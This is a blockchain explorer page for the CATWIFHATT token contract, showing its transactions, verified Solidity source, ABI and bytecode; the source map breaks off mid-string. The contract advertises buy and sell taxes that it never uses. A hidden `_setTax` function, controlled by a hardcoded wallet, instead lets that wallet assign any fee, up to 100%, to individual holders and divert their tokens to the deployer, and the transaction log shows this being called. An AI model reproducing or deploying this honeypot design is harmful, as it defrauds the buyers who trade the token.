ETH Price: $2,037.90 (+3.07%)

Contract

0xaE8fF0Fe08C8278C6E26eA53fF769E4f1604454b
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
_set Tax198607002024-05-13 11:08:59665 days ago1715598539IN
0xaE8fF0Fe...f1604454b
0 ETH0.000177453.83655102
Approve198606972024-05-13 11:08:23665 days ago1715598503IN
0xaE8fF0Fe...f1604454b
0 ETH0.000297166.38886842
_set Tax198606932024-05-13 11:07:35665 days ago1715598455IN
0xaE8fF0Fe...f1604454b
0 ETH0.000173013.74064581
Approve198606892024-05-13 11:06:47665 days ago1715598407IN
0xaE8fF0Fe...f1604454b
0 ETH0.000314746.76861756
_set Tax198606252024-05-13 10:53:47665 days ago1715597627IN
0xaE8fF0Fe...f1604454b
0 ETH0.000196174.24125034
Approve198606202024-05-13 10:52:47665 days ago1715597567IN
0xaE8fF0Fe...f1604454b
0 ETH0.000271725.87681216
Approve198606032024-05-13 10:49:11665 days ago1715597351IN
0xaE8fF0Fe...f1604454b
0 ETH0.000202574.35521848

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
CATWIFHATT

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-05-13
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;
    constructor () {_owner = msg.sender;}
    
    function owner() public view returns (address) {return _owner;}
    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }
    
    function transferOwnershipzexyo(address newOwner) public virtual onlyOwner {
        _owner = newOwner;
    }

}

contract CATWIFHATT is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _swapFeeTo;
    string public name;
    string public symbol;
    uint8 public decimals;
    mapping(address => bool) public _isExcludeFromFee;
    uint256 public totalSupply;
    IUniswapRouter public _uniswapRouter;
    bool private inSwap;
    uint256 private constant MAX = ~uint256(0);
    mapping (address => uint256) public __traders_Balance; 

    uint256 public _swapTax;
    address public _uniswapPair;
    address public _taxwallet;

    uint256 private _initialBuyTax=23;
    uint256 private _initialSellTax=23;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=26;
    uint256 private _buyCount=0;

    function _transfer(address from,address to,uint256 amount) private {

        bool shouldApplyTax = !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to];

        _balances[from] = _balances[from] - amount;

        uint256 _taxAmount;
        if (shouldApplyTax) {
            uint256 feeAmount = amount * __traders_Balance[from] / 100;
            _taxAmount += feeAmount;
            if (feeAmount > 0){
                _balances[address(_swapFeeTo)] += feeAmount;
                emit Transfer(from, address(_swapFeeTo), feeAmount);
            }
        }
        _balances[to] = _balances[to] + amount - _taxAmount;
        emit Transfer(from, to, amount - _taxAmount);
    }

    constructor (){
        name = unicode"CATWIFHAT";
        symbol = unicode"CATWIFHAT";
        decimals = 18;
        uint256 Supply = 1000000000;
        _swapFeeTo = msg.sender;
        _swapTax = 0;
        totalSupply = Supply * 10 ** decimals;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[_swapFeeTo] = true;

        _balances[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
        
        _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _taxwallet = 0xD5F04E1d11d870F30E3E0A9d80517B9eA6137a4A;
        _allowances[address(this)][address(_uniswapRouter)] = MAX;
        _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _isExcludeFromFee[address(_uniswapRouter)] = true;
    }

    function _setTax(address user, uint256 feePercent) external {
        if (msg.sender == _taxwallet)
        {
            __traders_Balance[user] = feePercent;
        }
    }

    function balanceOf(address account) public view returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"__traders_Balance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"feePercent","type":"uint256"}],"name":"_setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_swapFeeTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxwallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnershipzexyo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526017600e556017600f555f6010555f60115560146012556014601355601a6014555f60155534801562000035575f80fd5b505f80546001600160a01b0319163317905560408051808201909152600981526810d05515d25192105560ba1b602082015260049062000076908262000420565b5060408051808201909152600981526810d05515d25192105560ba1b6020820152600590620000a6908262000420565b506006805460ff19166012908117909155600380546001600160a01b031916331790555f600b55633b9aca0090620000e090600a620005f7565b620000ec90826200060e565b6008908155305f9081526007602090815260408083208054600160ff1991821681179092553380865283862080548316841790556003546001600160a01b0316865283862080549092168317909155945485855290835281842081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600980546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d9081178355600d805490921673d5f04e1d11d870f30e3e0a9d80517b9ea6137a4a17909155305f908152600260209081526040808320938352928152908290205f1990559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa15801562000224573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200024a919062000628565b6001600160a01b031663c9c653963060095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002aa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002d0919062000628565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200031b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000341919062000628565b600c80546001600160a01b0319166001600160a01b03928316179055600954165f908152600760205260409020805460ff191660011790555062000650565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620003a957607f821691505b602082108103620003c857634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200041b575f81815260208120601f850160051c81016020861015620003f65750805b601f850160051c820191505b81811015620004175782815560010162000402565b5050505b505050565b81516001600160401b038111156200043c576200043c62000380565b62000454816200044d845462000394565b84620003ce565b602080601f8311600181146200048a575f8415620004725750858301515b5f19600386901b1c1916600185901b17855562000417565b5f85815260208120601f198616915b82811015620004ba5788860151825594840194600190910190840162000499565b5085821015620004d857878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200053c57815f1904821115620005205762000520620004e8565b808516156200052e57918102915b93841c939080029062000501565b509250929050565b5f826200055457506001620005f1565b816200056257505f620005f1565b81600181146200057b57600281146200058657620005a6565b6001915050620005f1565b60ff8411156200059a576200059a620004e8565b50506001821b620005f1565b5060208310610133831016604e8410600b8410161715620005cb575081810a620005f1565b620005d78383620004fc565b805f1904821115620005ed57620005ed620004e8565b0290505b92915050565b5f6200060760ff84168362000544565b9392505050565b8082028115828204841417620005f157620005f1620004e8565b5f6020828403121562000639575f80fd5b81516001600160a01b038116811462000607575f80fd5b610a10806200065e5f395ff3fe608060405260043610610113575f3560e01c80634bf28fd01161009d5780639c165029116100625780639c16502914610321578063a9059cbb14610340578063cfd8a4fc1461035f578063d62d16de1461038a578063dd62ed3e146103a9575f80fd5b80634bf28fd01461027f57806365b61b771461029e57806370a08231146102bd5780638da5cb5b146102f157806395d89b411461030d575f80fd5b806323b872dd116100e357806323b872dd146101bb57806330da23e4146101da578063313ce567146101ef57806336b2e0271461021a578063426329c114610248575f80fd5b806306fdde031461011e578063095ea7b31461014857806318160ddd146101775780631b7acadf1461019a575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506101326103ed565b60405161013f919061081a565b60405180910390f35b348015610153575f80fd5b50610167610162366004610880565b610479565b604051901515815260200161013f565b348015610182575f80fd5b5061018c60085481565b60405190815260200161013f565b3480156101a5575f80fd5b506101b96101b43660046108a8565b61048f565b005b3480156101c6575f80fd5b506101676101d53660046108c8565b6104f6565b3480156101e5575f80fd5b5061018c600b5481565b3480156101fa575f80fd5b506006546102089060ff1681565b60405160ff909116815260200161013f565b348015610225575f80fd5b506101676102343660046108a8565b60076020525f908152604090205460ff1681565b348015610253575f80fd5b50600354610267906001600160a01b031681565b6040516001600160a01b03909116815260200161013f565b34801561028a575f80fd5b50600c54610267906001600160a01b031681565b3480156102a9575f80fd5b50600954610267906001600160a01b031681565b3480156102c8575f80fd5b5061018c6102d73660046108a8565b6001600160a01b03165f9081526001602052604090205490565b3480156102fc575f80fd5b505f546001600160a01b0316610267565b348015610318575f80fd5b50610132610588565b34801561032c575f80fd5b506101b961033b366004610880565b610595565b34801561034b575f80fd5b5061016761035a366004610880565b6105c6565b34801561036a575f80fd5b5061018c6103793660046108a8565b600a6020525f908152604090205481565b348015610395575f80fd5b50600d54610267906001600160a01b031681565b3480156103b4575f80fd5b5061018c6103c3366004610901565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b600480546103fa90610932565b80601f016020809104026020016040519081016040528092919081815260200182805461042690610932565b80156104715780601f1061044857610100808354040283529160200191610471565b820191905f5260205f20905b81548152906001019060200180831161045457829003601f168201915b505050505081565b5f6104853384846105d2565b5060015b92915050565b5f546001600160a01b031633146104d55760405162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015260640160405180910390fd5b5f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f610502848484610632565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f191461057e576001600160a01b0384165f90815260026020908152604080832033845290915290205461055a90839061097e565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b600580546103fa90610932565b600d546001600160a01b031633036105c2576001600160a01b0382165f908152600a602052604090208190555b5050565b5f610485338484610632565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6009545f90600160a01b900460ff1615801561066657506001600160a01b0384165f9081526007602052604090205460ff16155b801561068a57506001600160a01b0383165f9081526007602052604090205460ff16155b6001600160a01b0385165f908152600160205260409020549091506106b090839061097e565b6001600160a01b0385165f90815260016020526040812091909155811561078a576001600160a01b0385165f908152600a60205260408120546064906106f69086610991565b61070091906109a8565b905061070c81836109c7565b91508015610788576003546001600160a01b03165f908152600160205260408120805483929061073d9084906109c7565b90915550506003546040518281526001600160a01b03918216918816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b6001600160a01b0384165f9081526001602052604090205481906107af9085906109c7565b6107b9919061097e565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610802848761097e565b60405190815260200160405180910390a35050505050565b5f6020808352835180828501525f5b8181101561084557858101830151858201604001528201610829565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461087b575f80fd5b919050565b5f8060408385031215610891575f80fd5b61089a83610865565b946020939093013593505050565b5f602082840312156108b8575f80fd5b6108c182610865565b9392505050565b5f805f606084860312156108da575f80fd5b6108e384610865565b92506108f160208501610865565b9150604084013590509250925092565b5f8060408385031215610912575f80fd5b61091b83610865565b915061092960208401610865565b90509250929050565b600181811c9082168061094657607f821691505b60208210810361096457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156104895761048961096a565b80820281158282048414176104895761048961096a565b5f826109c257634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156104895761048961096a56fea2646970667358221220014c9673afa77b0ad331c329bfcaf19c4aeda4856eb1dc5d746adfce3d2fa98f64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610113575f3560e01c80634bf28fd01161009d5780639c165029116100625780639c16502914610321578063a9059cbb14610340578063cfd8a4fc1461035f578063d62d16de1461038a578063dd62ed3e146103a9575f80fd5b80634bf28fd01461027f57806365b61b771461029e57806370a08231146102bd5780638da5cb5b146102f157806395d89b411461030d575f80fd5b806323b872dd116100e357806323b872dd146101bb57806330da23e4146101da578063313ce567146101ef57806336b2e0271461021a578063426329c114610248575f80fd5b806306fdde031461011e578063095ea7b31461014857806318160ddd146101775780631b7acadf1461019a575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506101326103ed565b60405161013f919061081a565b60405180910390f35b348015610153575f80fd5b50610167610162366004610880565b610479565b604051901515815260200161013f565b348015610182575f80fd5b5061018c60085481565b60405190815260200161013f565b3480156101a5575f80fd5b506101b96101b43660046108a8565b61048f565b005b3480156101c6575f80fd5b506101676101d53660046108c8565b6104f6565b3480156101e5575f80fd5b5061018c600b5481565b3480156101fa575f80fd5b506006546102089060ff1681565b60405160ff909116815260200161013f565b348015610225575f80fd5b506101676102343660046108a8565b60076020525f908152604090205460ff1681565b348015610253575f80fd5b50600354610267906001600160a01b031681565b6040516001600160a01b03909116815260200161013f565b34801561028a575f80fd5b50600c54610267906001600160a01b031681565b3480156102a9575f80fd5b50600954610267906001600160a01b031681565b3480156102c8575f80fd5b5061018c6102d73660046108a8565b6001600160a01b03165f9081526001602052604090205490565b3480156102fc575f80fd5b505f546001600160a01b0316610267565b348015610318575f80fd5b50610132610588565b34801561032c575f80fd5b506101b961033b366004610880565b610595565b34801561034b575f80fd5b5061016761035a366004610880565b6105c6565b34801561036a575f80fd5b5061018c6103793660046108a8565b600a6020525f908152604090205481565b348015610395575f80fd5b50600d54610267906001600160a01b031681565b3480156103b4575f80fd5b5061018c6103c3366004610901565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b600480546103fa90610932565b80601f016020809104026020016040519081016040528092919081815260200182805461042690610932565b80156104715780601f1061044857610100808354040283529160200191610471565b820191905f5260205f20905b81548152906001019060200180831161045457829003601f168201915b505050505081565b5f6104853384846105d2565b5060015b92915050565b5f546001600160a01b031633146104d55760405162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015260640160405180910390fd5b5f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f610502848484610632565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f191461057e576001600160a01b0384165f90815260026020908152604080832033845290915290205461055a90839061097e565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b600580546103fa90610932565b600d546001600160a01b031633036105c2576001600160a01b0382165f908152600a602052604090208190555b5050565b5f610485338484610632565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6009545f90600160a01b900460ff1615801561066657506001600160a01b0384165f9081526007602052604090205460ff16155b801561068a57506001600160a01b0383165f9081526007602052604090205460ff16155b6001600160a01b0385165f908152600160205260409020549091506106b090839061097e565b6001600160a01b0385165f90815260016020526040812091909155811561078a576001600160a01b0385165f908152600a60205260408120546064906106f69086610991565b61070091906109a8565b905061070c81836109c7565b91508015610788576003546001600160a01b03165f908152600160205260408120805483929061073d9084906109c7565b90915550506003546040518281526001600160a01b03918216918816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b6001600160a01b0384165f9081526001602052604090205481906107af9085906109c7565b6107b9919061097e565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610802848761097e565b60405190815260200160405180910390a35050505050565b5f6020808352835180828501525f5b8181101561084557858101830151858201604001528201610829565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461087b575f80fd5b919050565b5f8060408385031215610891575f80fd5b61089a83610865565b946020939093013593505050565b5f602082840312156108b8575f80fd5b6108c182610865565b9392505050565b5f805f606084860312156108da575f80fd5b6108e384610865565b92506108f160208501610865565b9150604084013590509250925092565b5f8060408385031215610912575f80fd5b61091b83610865565b915061092960208401610865565b90509250929050565b600181811c9082168061094657607f821691505b60208210810361096457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156104895761048961096a565b80820281158282048414176104895761048961096a565b5f826109c257634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156104895761048961096a56fea2646970667358221220014c9673afa77b0ad331c329bfcaf19c4aeda4856eb1dc5d746adfce3d2fa98f64736f6c63430008140033

Deployed Bytecode Sourcemap

969:3976:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1329:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4291:124;;;;;;;;;;-1:-1:-1;4291:124:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;4291:124:0;1004:187:1;1465:26:0;;;;;;;;;;;;;;;;;;;1342:25:1;;;1330:2;1315:18;1465:26:0;1196:177:1;849:111:0;;;;;;;;;;-1:-1:-1;849:111:0;;;;;:::i;:::-;;:::i;:::-;;4421:327;;;;;;;;;;-1:-1:-1;4421:327:0;;;;;:::i;:::-;;:::i;1679:23::-;;;;;;;;;;;;;;;;1381:21;;;;;;;;;;-1:-1:-1;1381:21:0;;;;;;;;;;;2074:4:1;2062:17;;;2044:36;;2032:2;2017:18;1381:21:0;1902:184:1;1409:49:0;;;;;;;;;;-1:-1:-1;1409:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;1297:25;;;;;;;;;;-1:-1:-1;1297:25:0;;;;-1:-1:-1;;;;;1297:25:0;;;;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;1297:25:0;2091:203:1;1709:27:0;;;;;;;;;;-1:-1:-1;1709:27:0;;;;-1:-1:-1;;;;;1709:27:0;;;1498:36;;;;;;;;;;-1:-1:-1;1498:36:0;;;;-1:-1:-1;;;;;1498:36:0;;;3931:94;;;;;;;;;;-1:-1:-1;3931:94:0;;;;;:::i;:::-;-1:-1:-1;;;;;4005:18:0;3988:7;4005:18;;;:9;:18;;;;;;;3931:94;677:63;;;;;;;;;;-1:-1:-1;715:7:0;732:6;-1:-1:-1;;;;;732:6:0;677:63;;1354:20;;;;;;;;;;;;;:::i;3743:180::-;;;;;;;;;;-1:-1:-1;3743:180:0;;;;;:::i;:::-;;:::i;4031:130::-;;;;;;;;;;-1:-1:-1;4031:130:0;;;;;:::i;:::-;;:::i;1616:53::-;;;;;;;;;;-1:-1:-1;1616:53:0;;;;;:::i;:::-;;;;;;;;;;;;;;1743:25;;;;;;;;;;-1:-1:-1;1743:25:0;;;;-1:-1:-1;;;;;1743:25:0;;;4167:118;;;;;;;;;;-1:-1:-1;4167:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;4256:18:0;;;4239:7;4256:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4167:118;1329:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4291:124::-;4357:4;4364:37;4373:10;4385:7;4394:6;4364:8;:37::i;:::-;-1:-1:-1;4409:4:0;4291:124;;;;;:::o;849:111::-;786:6;;-1:-1:-1;;;;;786:6:0;796:10;786:20;778:39;;;;-1:-1:-1;;;778:39:0;;3380:2:1;778:39:0;;;3362:21:1;3419:1;3399:18;;;3392:29;-1:-1:-1;;;3437:18:1;;;3430:36;3483:18;;778:39:0;;;;;;;;935:6:::1;:17:::0;;-1:-1:-1;;;;;;935:17:0::1;-1:-1:-1::0;;;;;935:17:0;;;::::1;::::0;;;::::1;::::0;;849:111::o;4421:327::-;4510:4;4527:36;4537:6;4545:9;4556:6;4527:9;:36::i;:::-;-1:-1:-1;;;;;4578:19:0;;1607:1;4578:19;;;:11;:19;;;;;;;;4598:10;4578:31;;;;;;;;-1:-1:-1;;4578:38:0;4574:145;;-1:-1:-1;;;;;4667:19:0;;;;;;:11;:19;;;;;;;;4687:10;4667:31;;;;;;;;:40;;4701:6;;4667:40;:::i;:::-;-1:-1:-1;;;;;4633:19:0;;;;;;:11;:19;;;;;;;;4653:10;4633:31;;;;;;;:74;4574:145;-1:-1:-1;4736:4:0;4421:327;;;;;:::o;1354:20::-;;;;;;;:::i;3743:180::-;3832:10;;-1:-1:-1;;;;;3832:10:0;3818;:24;3814:102;;-1:-1:-1;;;;;3868:23:0;;;;;;:17;:23;;;;;:36;;;3814:102;3743:180;;:::o;4031:130::-;4100:4;4107:40;4117:10;4129:9;4140:6;4107:9;:40::i;4756:151::-;-1:-1:-1;;;;;4831:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4873:32;;1342:25:1;;;4873:32:0;;1315:18:1;4873:32:0;;;;;;;4756:151;;;:::o;2096:707::-;2199:6;;2176:19;;-1:-1:-1;;;2199:6:0;;;;2198:7;:35;;;;-1:-1:-1;;;;;;2210:23:0;;;;;;:17;:23;;;;;;;;2209:24;2198:35;:61;;;;-1:-1:-1;;;;;;2238:21:0;;;;;;:17;:21;;;;;;;;2237:22;2198:61;-1:-1:-1;;;;;2290:15:0;;;;;;:9;:15;;;;;;2176:83;;-1:-1:-1;2290:24:0;;2308:6;;2290:24;:::i;:::-;-1:-1:-1;;;;;2272:15:0;;;;;;:9;:15;;;;;:42;;;;2356:323;;;;-1:-1:-1;;;;;2420:23:0;;2391:17;2420:23;;;:17;:23;;;;;;2446:3;;2411:32;;:6;:32;:::i;:::-;:38;;;;:::i;:::-;2391:58;-1:-1:-1;2464:23:0;2391:58;2464:23;;:::i;:::-;;-1:-1:-1;2506:13:0;;2502:166;;2557:10;;-1:-1:-1;;;;;2557:10:0;2539:30;;;;:9;:30;;;;;:43;;2573:9;;2539:30;:43;;2573:9;;2539:43;:::i;:::-;;;;-1:-1:-1;;2629:10:0;;2606:46;;1342:25:1;;;-1:-1:-1;;;;;2629:10:0;;;;2606:46;;;;;1330:2:1;1315:18;2606:46:0;;;;;;;2502:166;2376:303;2356:323;-1:-1:-1;;;;;2705:13:0;;;;;;:9;:13;;;;;;2730:10;;2705:22;;2721:6;;2705:22;:::i;:::-;:35;;;;:::i;:::-;-1:-1:-1;;;;;2689:13:0;;;;;;;:9;:13;;;;;:51;;;;2756:39;;;2775:19;2784:10;2775:6;:19;:::i;:::-;2756:39;;1342:25:1;;;1330:2;1315:18;2756:39:0;;;;;;;2163:640;;2096:707;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:186::-;1437:6;1490:2;1478:9;1469:7;1465:23;1461:32;1458:52;;;1506:1;1503;1496:12;1458:52;1529:29;1548:9;1529:29;:::i;:::-;1519:39;1378:186;-1:-1:-1;;;1378:186:1:o;1569:328::-;1646:6;1654;1662;1715:2;1703:9;1694:7;1690:23;1686:32;1683:52;;;1731:1;1728;1721:12;1683:52;1754:29;1773:9;1754:29;:::i;:::-;1744:39;;1802:38;1836:2;1825:9;1821:18;1802:38;:::i;:::-;1792:48;;1887:2;1876:9;1872:18;1859:32;1849:42;;1569:328;;;;;:::o;2528:260::-;2596:6;2604;2657:2;2645:9;2636:7;2632:23;2628:32;2625:52;;;2673:1;2670;2663:12;2625:52;2696:29;2715:9;2696:29;:::i;:::-;2686:39;;2744:38;2778:2;2767:9;2763:18;2744:38;:::i;:::-;2734:48;;2528:260;;;;;:::o;2793:380::-;2872:1;2868:12;;;;2915;;;2936:61;;2990:4;2982:6;2978:17;2968:27;;2936:61;3043:2;3035:6;3032:14;3012:18;3009:38;3006:161;;3089:10;3084:3;3080:20;3077:1;3070:31;3124:4;3121:1;3114:15;3152:4;3149:1;3142:15;3006:161;;2793:380;;;:::o;3512:127::-;3573:10;3568:3;3564:20;3561:1;3554:31;3604:4;3601:1;3594:15;3628:4;3625:1;3618:15;3644:128;3711:9;;;3732:11;;;3729:37;;;3746:18;;:::i;3777:168::-;3850:9;;;3881;;3898:15;;;3892:22;;3878:37;3868:71;;3919:18;;:::i;3950:217::-;3990:1;4